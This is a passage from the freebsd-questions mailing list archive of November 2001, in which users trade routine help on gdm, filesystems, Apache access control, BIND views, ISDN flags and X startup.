ABDE537B405 for ; Thu, 22 Nov 2001 21:51:21 -0800 (PST) Received: from chip.wiegand.org [66.114.152.128] by pioneernet.net (SMTPD32-6.06) id A3E8352E011A; Thu, 22 Nov 2001 21:51:36 -0800 Content-Type: text/plain; charset="iso-8859-1" From: Chip To: freebsd-questions@FreeBSD.ORG Subject: gdm question Date: Thu, 22 Nov 2001 21:59:57 -0800 X-Mailer: KMail [version 1.2] MIME-Version: 1.0 Message-Id: <01112221595701.76143@chip.wiegand.org> Content-Transfer-Encoding: 8bit Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG I just installed gdm from the ports, got it so it will load up on boot up, but it only displays an empty X screen and the plain x mouse cursor. I cannot find a web site for gdm or instructions on how to actually tell it what window managers to list. At least that is what I think it is supposed to do isn't it? I want a display to list the several wm's installed and allow the user to pick the wm he wants to use. This is for a new user so I set up several wm's so he can learn more about them and fbsd. -- Chip W. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Thu Nov 22 21:55:43 2001 Delivered-To: freebsd-questions@freebsd.org Received: from molly.intercom.net (molly.intercom.net [216.240.106.84]) by hub.freebsd.org (Postfix) with ESMTP id D1D6C37B405 for ; Thu, 22 Nov 2001 21:55:39 -0800 (PST) Received: from cross (dpcbw105065.direcpc.com [65.88.105.65]) by molly.intercom.net (8.12.1/8.12.1) with SMTP id fAN5uGm4012067; Fri, 23 Nov 2001 00:56:18 -0500 (EST) Message-ID: <002701c173e3$51125190$0273150a@woodstock.lanalyse.com> From: "Ron Hensley" To: , "Andrew Reid" Cc: References: Subject: Re: Website Remote Access? Date: Fri, 23 Nov 2001 00:54:19 -0500 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2600.0000 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Cheers :P - ----- Original Message ----- From: "Erich Voigt" To: "Ron Hensley" ; "Andrew Reid" Cc: Sent: Friday, November 23, 2001 12:49 AM Subject: RE: Website Remote Access? > Hi All! > > This site does a lot of what I require - worthwhile for others to take note > of OR participate! > > Thanks Ron! > > Erich > > -----Original Message----- > From: Ron Hensley [mailto:ronh@intercom.net] > Sent: Friday, November 23, 2001 3:23 AM > To: Andrew Reid; Erich Voigt > Cc: freebsd-questions@FreeBSD.ORG > Subject: Re: Website Remote Access? > > > -----BEGIN PGP SIGNED MESSAGE----- > Hash: SHA1 > > www.tracert.com has a "Speed Meter" to measure WWW Site performance from the > outside looking in, as well > as traceroutes and pings back towards you and even BGP Lookups if you > advertise BGP Routes and want > to see them from an outside routers perspective. > > > - ----- Original Message ----- > From: "Andrew Reid" > To: "Erich Voigt" > Cc: > Sent: Thursday, November 22, 2001 7:04 PM > Subject: Re: Website Remote Access? > > > > On Thu, Nov 22, 2001 at 01:48:29PM +0200, Erich Voigt wrote: > > > > > Is there not (a) system(s) out there that I can access and then from > there > > > see what my local websites are performing like???? Something like > > > traceroute.org but for html ??? > > > > What do you mean? Do you want to find out the load that your server(s) > > are under? Perhaps you'd like to know how many pages / hour your > > machines are serving up. > > > > I can't really give an answer as the question is so ambiguous. Please > > clarify the question and we'll try and come up with an answer. > > > > - andrew > > > > -- > > Andrew J. Reid "Catapultam habeo. Nisi pecuniam omnem > > andrew.reid@plug.cx mihi dabis, ad caput tuum saxum immane > > +61 401 946 813 mittam" > > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > > with "unsubscribe freebsd-questions" in the body of the message > > > -----BEGIN PGP SIGNATURE----- > Version: PGPfreeware 6.5.8 for non-commercial use > > iQA/AwUBO/2k1lFb04N5DzUjEQImiwCg/b6u1UGeMYMCyGoBTmn4gNH84msAoNOd > SgnG9b17qMlPRCrkKNBulLxx > =u7ln > -----END PGP SIGNATURE----- > > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-questions" in the body of the message > -----BEGIN PGP SIGNATURE----- Version: PGPfreeware 6.5.8 for non-commercial use iQA/AwUBO/3kiVFb04N5DzUjEQK/xQCgvbyIGD54Vrw/CU++xdZTfWY3RNQAnjef D7UWPf8WD3P8cCDJA8N+pLe0 =iaRn -----END PGP SIGNATURE----- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Thu Nov 22 22: 4:23 2001 Delivered-To: freebsd-questions@freebsd.org Received: from femail12.sdc1.sfba.home.com (femail12.sdc1.sfba.home.com [24.0.95.108]) by hub.freebsd.org (Postfix) with ESMTP id 5DD2037B405 for ; Thu, 22 Nov 2001 22:04:19 -0800 (PST) Received: from localhost.lakwod3.co.home.com ([24.6.228.202]) by femail12.sdc1.sfba.home.com (InterMail vM.4.01.03.20 201-229-121-120-20010223) with SMTP id <20011123060418.KAFQ23187.femail12.sdc1.sfba.home.com@localhost.lakwod3.co.home.com> for ; Thu, 22 Nov 2001 22:04:18 -0800 In-reply-to: <200111230500.fAN50fU95393@grumpy.dyndns.org>; from dkelly@hiwaay.net on Thu, Nov 22, 2001 at 11:00:41PM -0600 Subject: Re: Filesystems questions Content-transfer-encoding: 8bit References: <200111230500.fAN50fU95393@grumpy.dyndns.org> To: freebsd-questions@FreeBSD.ORG From: Sean LeBlanc X-mda: Mail::Internet Mail::Sendmail Sendmail +mmhack 1.1 on Linux Mail-Followup-To: freebsd-questions@FreeBSD.ORG Content-type: text/plain; charset=us-ascii Mime-version: 1.0 User-agent: Mutt/1.2.5i Content-disposition: inline Date: Thu, 22 Nov 2001 23:11:00 -0700 Message-id: <20011122231100.A1184@hostwiththemost> Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On 11-22 23:00, David Kelly wrote: > Sean LeBlanc writes: > > > > I've been dabbling with FreeBSD a little over a week now, and I was > > wondering about other filesystems, and how often they are used? Also > > journaling filesystems like ext3 and Reiser that Linux has. > > Is sad in a way, because FreeBSD's UFS is pretty darn good so there > isn't as much motivation (as with Linux) to replace it with something > else. Okay, that's the impression I was starting to get. I just wanted to verify. > > I was doing some Google searches, and I saw that ufs uses soft updates to > > make up for not journaling? Any alternative filesystems for FreeBSD > > that are popular? > > Type "mount" with no arguments to see if softupdates is enabled on your > filesystmes. Is not enabled by default. Or at least not the way I run > sysinstall. It does make a big difference. > > grumpy: {1002} mount > /dev/da0s2a on / (ufs, local, soft-updates) > /dev/da0s2f on /usr (ufs, local, soft-updates) > /dev/da0s2e on /var (ufs, local, soft-updates) > /dev/ad4s3e on /usr2 (ufs, local, soft-updates) > /dev/ad4s3f on /usr3 (ufs, local, soft-updates) > /dev/ad4s3g on /usr4 (ufs, local, soft-updates) > procfs on /proc (procfs, local) > grumpy: {1003} Thanks, I tried this, and nope, it's not on: bash-[10:46:10]$ mount /dev/ad0s1a on / (ufs, local) /dev/ad0s1f on /usr (ufs, local) /dev/ad0s1e on /var (ufs, local) procfs on /proc (procfs, local) > Another thing you may not have picked up on is that the routines for > creating the positions of directories in filesystems has changed since > the -RELEASE. The format hasn't changed, only now they are put where > they are faster to get at. Has produced the most spectacular filesystem > performance increase I've seen in FreeBSD since 2.0.0. Only helps on new > directories, but its pretty easy to copy whatever out then back in. Okay, this is way over my head right now. I'll take your word for it. I've been using FreeBSD since, well, 4.4. :) > > Also, I've picked up Greg Lehey's _The_Complete_FreeBSD_. This was based on > > I haven't seen recent editions of Greg's book but originally when it > was written there wasn't anything else for FreeBSD. So it was fairly > important to cover most everything. Oops, forgot to mention the edition. It's the third. I don't mean to imply that it doesn't cover everything, but it just seems, well, a little short in some areas. At least so far: I haven't gotten through it all yet. > To my knowledge none of the current FreeBSD-centered books suffer from > the Linux phenomena of "If you put Linux in the title then we'll > publish." I bought one or two this past week but haven't opened them > yet. I like http://www.bookpool.com/ for computer books as they have > great prices, availability, and have always treated me correctly. I think the Linux books and their crappiness is relatively new. Back when Linux was still some esoteric thing, it wasn't nearly as bad. Now, one definitely has to be very careful not to step in something. At least for now, FreeBSD users have much more discriminating tastes, at least from my limited experiences with them - but wait until the hype bomb goes off for FreeBSD. :) There will be FreeBSD for Dummies and Learn FreeBSD in X Days for all! Yep, I use www.addall.com for price comparisons on books (that I don't need immediately) and usually bookpool turns up as the cheapest. And I've ordered from them quite a bit over the past two years or so....when I need that quick fix, I usually traipse down to B&N, not because they are good, but because they are close. :/ -- Sean LeBlanc:seanleblanc@home.com Yahoo:seanleblancathome ICQ:138565743 MSN:seanleblancathome AIM:sleblancathome Fear is that little darkroom where negatives are developed. -Michael Pritchard Management QOTD:Ok. I think we should definitely pow-wow on this so that we can avoid deer-in-the-headlights thinking and stop beating around the bush on the meta issues. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Thu Nov 22 22: 9:18 2001 Delivered-To: freebsd-questions@freebsd.org Received: from chmls16.mediaone.net (chmls16.mediaone.net [24.147.1.151]) by hub.freebsd.org (Postfix) with ESMTP id 8FA4237B418 for ; Thu, 22 Nov 2001 22:09:15 -0800 (PST) Received: from sickness (h0000c0f0bdd0.ne.mediaone.net [24.128.40.215]) by chmls16.mediaone.net (8.11.1/8.11.1) with ESMTP id fAN694T12109 for ; Fri, 23 Nov 2001 01:09:05 -0500 (EST) From: "David Loszewski" To: Subject: denying webserver access?? Date: Fri, 23 Nov 2001 01:07:59 -0500 Message-ID: <000001c173e5$33a10460$3000a8c0@sickness> MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook, Build 10.0.2627 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000 Importance: Normal Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Is there a way to deny someone access from viewing anything web pages on a web server? I tried to put 'httpd::deny' in the hosts.allow file but that didn't work. Thx, Dave To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Thu Nov 22 22:25:13 2001 Delivered-To: freebsd-questions@freebsd.org Received: from topaz.mdcc.cx (topaz.mdcc.cx [212.204.230.141]) by hub.freebsd.org (Postfix) with ESMTP id 0CE6F37B418 for ; Thu, 22 Nov 2001 22:25:06 -0800 (PST) Received: from k7.mavetju.org (topaz.mdcc.cx [212.204.230.141]) by topaz.mdcc.cx (Postfix) with ESMTP id 4774E2B696; Fri, 23 Nov 2001 07:25:02 +0100 (CET) Received: by k7.mavetju.org (Postfix, from userid 1001) id B6D5F13D; Fri, 23 Nov 2001 17:24:55 +1100 (EST) Date: Fri, 23 Nov 2001 17:24:55 +1100 From: Edwin Groothuis To: David Loszewski Cc: freebsd-questions@freebsd.org Subject: Re: denying webserver access?? Message-ID: <20011123172455.E58388@k7.mavetju.org> Mail-Followup-To: Edwin Groothuis , David Loszewski , freebsd-questions@freebsd.org References: <000001c173e5$33a10460$3000a8c0@sickness> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <000001c173e5$33a10460$3000a8c0@sickness>; from stealth215@mediaone.net on Fri, Nov 23, 2001 at 01:07:59AM -0500 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Fri, Nov 23, 2001 at 01:07:59AM -0500, David Loszewski wrote: > Is there a way to deny someone access from viewing anything web pages on > a web server? I tried to put 'httpd::deny' in the hosts.allow file > but that didn't work. As far as I know, Apache HTTPD doesn't use the hosts.allow file. Two solutions: - put in every directory in your webserver a .htaccess-file (maybe you can do something with access.conf instead of that) - use ipfw to disable access on port 80 from that host. Edwin -- Edwin Groothuis | Personal website: http://www.MavEtJu.org edwin@mavetju.org | Interested in MUDs? Visit Fatal Dimensions: ------------------+ http://www.FatalDimensions.org/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Thu Nov 22 22:27:53 2001 Delivered-To: freebsd-questions@freebsd.org Received: from mail.broadpark.no (mail.broadpark.no [217.13.4.2]) by hub.freebsd.org (Postfix) with ESMTP id 47B4437B416 for ; Thu, 22 Nov 2001 22:27:51 -0800 (PST) Received: from trine (213-187-161-49.dd.nextgentel.com [213.187.161.49]) by mail.broadpark.no (Postfix) with ESMTP id EB6B47FA4; Fri, 23 Nov 2001 07:27:44 +0100 (MET) From: "Kjell" To: "Julian Morgan" Date: Fri, 23 Nov 2001 06:33:51 -0000 MIME-Version: 1.0 Content-type: text/plain; charset=US-ASCII Content-transfer-encoding: 7BIT Subject: Re: Apache and minimum server requirements Reply-To: kjell@la3sg.net Cc: freebsd-questions@FreeBSD.ORG Message-ID: <3BFDEDCF.2617.DD095@localhost> In-reply-to: <4A256B0D.0005C695.00@mail.mitchells.com.au> X-mailer: Pegasus Mail for Win32 (v3.12c) Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG > Would you people please let me know what are your thoughts on the minimum server > specs for the following > > I have a web site that is running freebsd4.3stable > it is a personal web site - so there might be 20 hits per day max > it has thumb nails - 10 per page, 5K each in a picture gallary... > It has 3 cgi scripts , web counter, a program called newspro - which you > might have heard - is an automated news message board, > and it has cgi password authentication... > > I will not have this server run anything else - but maybe ssh and ftp - so > I can update the code, but squid and sendmail will not be running > > I was thinking I could get away with a pentium 200 with 64MegRam (maybe 128 > - but I don't think so... > I have got a similar site that I made for my wifes paintings. It now contains 429 paintings, but will eventually contain between 600 and 700. It is running fine on a P133 with 16mb on a ADSL line > > If you wanna check this site - thats cool, but it is 2 weeks in progress > and needs alot of work > it is www.starnetwork.isp.com.au mine: www.galeriadebahia.com > > Your thoughts would be appriciated - I am going over to england - and would love > this site to be running on an adequate machine > > Regards > Julian regards from Kjell To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Thu Nov 22 22:38: 8 2001 Delivered-To: freebsd-questions@freebsd.org Received: from web20205.mail.yahoo.com (web20205.mail.yahoo.com [216.136.226.60]) by hub.freebsd.org (Postfix) with SMTP id 7096137B417 for ; Thu, 22 Nov 2001 22:37:43 -0800 (PST) Message-ID: <20011123063743.69061.qmail@web20205.mail.yahoo.com> Received: from [212.16.200.178] by web20205.mail.yahoo.com via HTTP; Thu, 22 Nov 2001 22:37:43 PST Date: Thu, 22 Nov 2001 22:37:43 -0800 (PST) From: GoodNews To: feedback@rocklyte.com MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Äîðîãîé äðóã! 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GeoCities - quick and easy web site hosting, just $8.95/month. http://geocities.yahoo.com/ps/info1 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Thu Nov 22 23:17:47 2001 Delivered-To: freebsd-questions@freebsd.org Received: from hotmail.com (f103.law11.hotmail.com [64.4.17.103]) by hub.freebsd.org (Postfix) with ESMTP id 2A2BE37B416; Thu, 22 Nov 2001 23:17:44 -0800 (PST) Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC; Thu, 22 Nov 2001 23:17:44 -0800 Received: from 203.168.21.51 by lw11fd.law11.hotmail.msn.com with HTTP; Fri, 23 Nov 2001 07:17:43 GMT X-Originating-IP: [203.168.21.51] From: "midrash midrash" To: freebsd-questions@freebsd.org Cc: freebsd-question@freebsd.org Subject: X server Date: Thu, 22 Nov 2001 23:17:43 -0800 Mime-Version: 1.0 Content-Type: text/plain; format=flowed Message-ID: X-OriginalArrivalTime: 23 Nov 2001 07:17:44.0065 (UTC) FILETIME=[F1E28710:01C173EE] Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG when i start my X server with Xwrapper it starts the x server but does not load kde. i already have an executable ~/.xsession. im on 4.4-release _________________________________________________________________ Get your FREE download of MSN Explorer at http://explorer.msn.com/intl.asp To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Thu Nov 22 23:25:16 2001 Delivered-To: freebsd-questions@freebsd.org Received: from freebie.atkielski.com (ASt-Lambert-101-2-1-14.abo.wanadoo.fr [193.251.59.14]) by hub.freebsd.org (Postfix) with ESMTP id 4ED5137B416 for ; Thu, 22 Nov 2001 23:25:13 -0800 (PST) Received: from contactdish (win.atkielski.com [10.0.0.10]) by freebie.atkielski.com (8.11.3/8.11.3) with SMTP id fAN7P4J02994; Fri, 23 Nov 2001 08:25:04 +0100 (CET) (envelope-from anthony@freebie.atkielski.com) Message-ID: <046f01c173ef$f8f2e350$0a00000a@atkielski.com> From: "Anthony Atkielski" To: "Edwin Groothuis" , "David Loszewski" Cc: References: <000001c173e5$33a10460$3000a8c0@sickness> <20011123172455.E58388@k7.mavetju.org> Subject: Re: denying webserver access?? Date: Fri, 23 Nov 2001 08:25:03 +0100 Organization: Anthony's Home Page (development site) MIME-Version: 1.0 Content-Type: text/plain; charset="Windows-1252" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4522.1200 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG You can use deny and allow directives for specific directories right in the httpd.conf file, and also in .htaccess files in your document directories. You generally only need one .htaccess file, if you use that, as a single file will apply to the directory in which it appears and to all subordinate directories that do not contain .htaccess files of their own. ----- Original Message ----- From: "Edwin Groothuis" To: "David Loszewski" Cc: Sent: Friday, November 23, 2001 07:24 Subject: Re: denying webserver access?? > On Fri, Nov 23, 2001 at 01:07:59AM -0500, David Loszewski wrote: > > Is there a way to deny someone access from viewing anything web pages on > > a web server? I tried to put 'httpd::deny' in the hosts.allow file > > but that didn't work. > > As far as I know, Apache HTTPD doesn't use the hosts.allow file. > > Two solutions: > - put in every directory in your webserver a .htaccess-file (maybe > you can do something with access.conf instead of that) > - use ipfw to disable access on port 80 from that host. > > Edwin > -- > Edwin Groothuis | Personal website: http://www.MavEtJu.org > edwin@mavetju.org | Interested in MUDs? Visit Fatal Dimensions: > ------------------+ http://www.FatalDimensions.org/ > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-questions" in the body of the message > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Thu Nov 22 23:34:31 2001 Delivered-To: freebsd-questions@freebsd.org Received: from mailout04.sul.t-online.de (mailout04.sul.t-online.com [194.25.134.18]) by hub.freebsd.org (Postfix) with ESMTP id 5B3EF37B405 for ; Thu, 22 Nov 2001 23:34:29 -0800 (PST) Received: from fwd03.sul.t-online.de by mailout04.sul.t-online.de with smtp id 167Aqy-0000Xp-07; Fri, 23 Nov 2001 08:34:28 +0100 Received: from peedub.muc.de (520017439985-0001@[217.80.231.48]) by fmrl03.sul.t-online.com with esmtp id 167Aqn-1GZrUWC; Fri, 23 Nov 2001 08:34:17 +0100 Received: by peedub.muc.de (8.11.6/8.11.1) id fAN7Y2P31782; Fri, 23 Nov 2001 08:34:02 +0100 (CET) (envelope-from garyj) Message-Id: <200111230734.fAN7Y2P31782@peedub.muc.de> Content-Type: text/plain; charset="iso-8859-1" From: Gary Jennejohn Reply-To: garyj@jennejohn.org To: "N. Evermann" , freebsd-questions@freebsd.org Subject: Re: FreeBSD4.4 ,i4b +ELSA PCC16 ISDN Card; ISDND153 ERR Date: Fri, 23 Nov 2001 00:35:37 +0100 X-Mailer: KMail [version 1.3.1] Cc: evermann@pluto.lan-ks.de References: <01112221561600.00642@pluto.lan-ks.de> In-Reply-To: <01112221561600.00642@pluto.lan-ks.de> MIME-Version: 1.0 Content-Transfer-Encoding: 8bit X-Sender: 520017439985-0001@t-dialin.net Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Thursday 22 November 2001 22:33, N. Evermann wrote: > Hello, > > anyone known the Kernel isic0 flags for PCC16 ELSA ISDN CARD? > Flags 20 + 19 not accept! > > Understand my littlebit english? > /sys/i386/include/i4b_ioctl.h:#define CARD_TYPEP_PCC16 20 /* ELSA PCC-16*/ Should be 20. -- Gary Jennejohn garyj@jennejohn.org gj@freebsd.org To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Thu Nov 22 23:44:50 2001 Delivered-To: freebsd-questions@freebsd.org Received: from mip.co.za (puck.mip.co.za [209.212.106.44]) by hub.freebsd.org (Postfix) with ESMTP id 4CABD37B418 for ; Thu, 22 Nov 2001 23:44:44 -0800 (PST) Received: from patrick (patrick.mip.co.za [10.3.13.181]) by mip.co.za (8.9.3/8.9.3) with SMTP id JAA50635; Fri, 23 Nov 2001 09:44:46 +0200 (SAST) (envelope-from patrick@mip.co.za) From: "Patrick O'Reilly" To: "Dan Nelson" Cc: "FreeBSD Question List" Subject: RE: Multiple NameD instances ? Date: Fri, 23 Nov 2001 09:49:54 +0200 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2911.0) In-Reply-To: <20011122154248.GB11921@dan.emsphone.com> X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Importance: Normal Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG > From: Dan Nelson [mailto:dnelson@allantgroup.com] > Sent: 22 November 2001 17:43 > > In the last episode (Nov 22), Patrick O'Reilly said: > > Is there a way to run two instances of named on one box, with > one instance > > answering any requests that enter on the public interface, and the other > > instance answering the private interface? > > > > Or, can one instance be configured to answer both, but making private > > information available internally only, but public information available > > either way? > > BIND 9 (in ports) has the concept of "views", where you can define an > internal and external view with different zones for the same domain, > and configure named to use one zone or the other based on the IP of the > client requesting the inromation. > > -- > Dan Nelson > dnelson@allantgroup.com Thanks Dan! That sounds like an elegant solution! Now, 'named -v' tells me I have 'named 8.2.4-REL', and searching the ports reveals "Port: bind-8.2.3" and "Port: bind-9.1.1". So, I expect I'll need to be installing the port for 9.1.1? Does anyone have any idea if/when bind 9 will move into the "standard" BSD installation? Patrick. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Fri Nov 23 0: 1: 2 2001 Delivered-To: freebsd-questions@freebsd.org Received: from zaphod.euronet.nl (zaphod.euronet.nl [194.134.128.241]) by hub.freebsd.org (Postfix) with ESMTP id 5879037B405 for ; Fri, 23 Nov 2001 00:00:58 -0800 (PST) Received: (from ernst@localhost) by zaphod.euronet.nl (8.11.6/8.11.6) id fAN80ZR62587; Fri, 23 Nov 2001 09:00:35 +0100 (CET) (envelope-from ernst) Message-Id: <200111230800.fAN80ZR62587@zaphod.euronet.nl> Content-Type: text/plain; charset="iso-8859-1" From: Ernst de Haan To: John Indra , freebsd-questions@freebsd.org Subject: Re: Running Java applets with Mozilla Date: Fri, 23 Nov 2001 09:00:35 +0100 X-Mailer: KMail [version 1.3] References: <20011123112254.A94106@office.naver.co.id> In-Reply-To: <20011123112254.A94106@office.naver.co.id> MIME-Version: 1.0 Content-Transfer-Encoding: 8bit Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG John, Suggestion: Search the freebsd-java mailing list. There are some threads that touch this subject. Ernst On Friday 23 November 2001 05:22, John Indra wrote: > Hi... > > Has anyone managed to run Java applets with Mozilla? > > I am running -CURRENT and using Mozilla 0.9.6 compiled from ports. > I have run the automatic installation of the JRE, but suddenly after > Mozilla had finished downloading the file needed, and extracted the file, > it crashed. > > If anyone manages to get Mozilla to run Java applets, can you shed the > light to me? > > tq > > /john > "I go, I fight, and I win!" > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-questions" in the body of the message -- Ernst de Haan EuroNet Internet B.V. "Come to me all who are weary and burdened and I will give you rest" -- Jesus Christ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Fri Nov 23 0:36:41 2001 Delivered-To: freebsd-questions@freebsd.org Received: from clientmail.realtime.co.uk (simian.realtime.co.uk [213.52.146.137]) by hub.freebsd.org (Postfix) with ESMTP id 3827437B418; Fri, 23 Nov 2001 00:36:39 -0800 (PST) Received: from pan.ehsrealtime.com ([213.52.146.196]) by clientmail.realtime.co.uk with esmtp (Exim 3.20 #1) id 167Bp6-0004p7-01; Fri, 23 Nov 2001 08:36:36 +0000 Received: from waynep by pan.ehsrealtime.com with local (Exim 3.33 #1) id 167BnI-0000Bu-00; Fri, 23 Nov 2001 08:34:44 +0000 From: Wayne Pascoe To: "midrash midrash" Cc: freebsd-questions@freebsd.org, freebsd-question@freebsd.org Subject: Re: X server References: Date: 23 Nov 2001 08:34:43 +0000 In-Reply-To: Message-ID: <864rnlkhr0.fsf@pan.ehsrealtime.com> Lines: 16 User-Agent: Gnus/5.0808 (Gnus v5.8.8) XEmacs/21.1 (Cuyahoga Valley) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG "midrash midrash" writes: > when i start my X server with Xwrapper it starts the x server but does > not load kde. i already have an executable ~/.xsession. im on try creating ~/.xinitrc. This does not need execute bit set. This should just contain exec startkde -- - Wayne Pascoe | Profanity is the inevitable linguistic freebsd@molemanarmy.com | crutch of the inarticulate http://www.molemanarmy.com | motherfucker - Bruce Sherrod | To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Fri Nov 23 0:51:25 2001 Delivered-To: freebsd-questions@freebsd.org Received: from isy.liu.se (isy.liu.se [130.236.48.10]) by hub.freebsd.org (Postfix) with ESMTP id E4E5737B436 for ; Fri, 23 Nov 2001 00:51:15 -0800 (PST) Received: from lagrange.isy.liu.se (lagrange.isy.liu.se [130.236.49.127]) by isy.liu.se (8.11.4/8.11.4) with ESMTP id fAN8pDN18075; Fri, 23 Nov 2001 09:51:13 +0100 (MET) Message-ID: X-Mailer: XFMail 1.5.0 on FreeBSD X-Priority: 3 (Normal) Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit MIME-Version: 1.0 In-Reply-To: Date: Fri, 23 Nov 2001 09:51:36 +0100 (CET) From: Micke Josefsson To: Marco Beishuizen Subject: RE: mounting hpfs partitions Cc: freebsd-questions@FreeBSD.ORG Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On 21-Nov-2001 Marco Beishuizen wrote: > > Hello, > > Does anyone know if I can mount hpfs partitions in freebsd? I'm afraid you can't AFAIK. I had to use linux for that, since I stopped using OS/2 in favour of FreeBSD. There's always one more backup in hpfs somewhere... ---------------------------------- Michael Josefsson, MSEE mj@isy.liu.se This message was sent by XFMail running on FreeBSD 4.4-STABLE ---------------------------------- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Fri Nov 23 1: 7:44 2001 Delivered-To: freebsd-questions@freebsd.org Received: from guru.mired.org (okc-65-31-203-60.mmcable.com [65.31.203.60]) by hub.freebsd.org (Postfix) with SMTP id 228BF37B416 for ; Fri, 23 Nov 2001 01:07:42 -0800 (PST) Received: (qmail 20810 invoked by uid 100); 23 Nov 2001 09:07:41 -0000 From: Mike Meyer MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15358.4573.105239.608248@guru.mired.org> Date: Fri, 23 Nov 2001 03:07:41 -0600 To: FoxSurfer Sys Admin Cc: questions@freebsd.org Subject: Re: Problem with building kernel. In-Reply-To: <52045795@toto.iv> 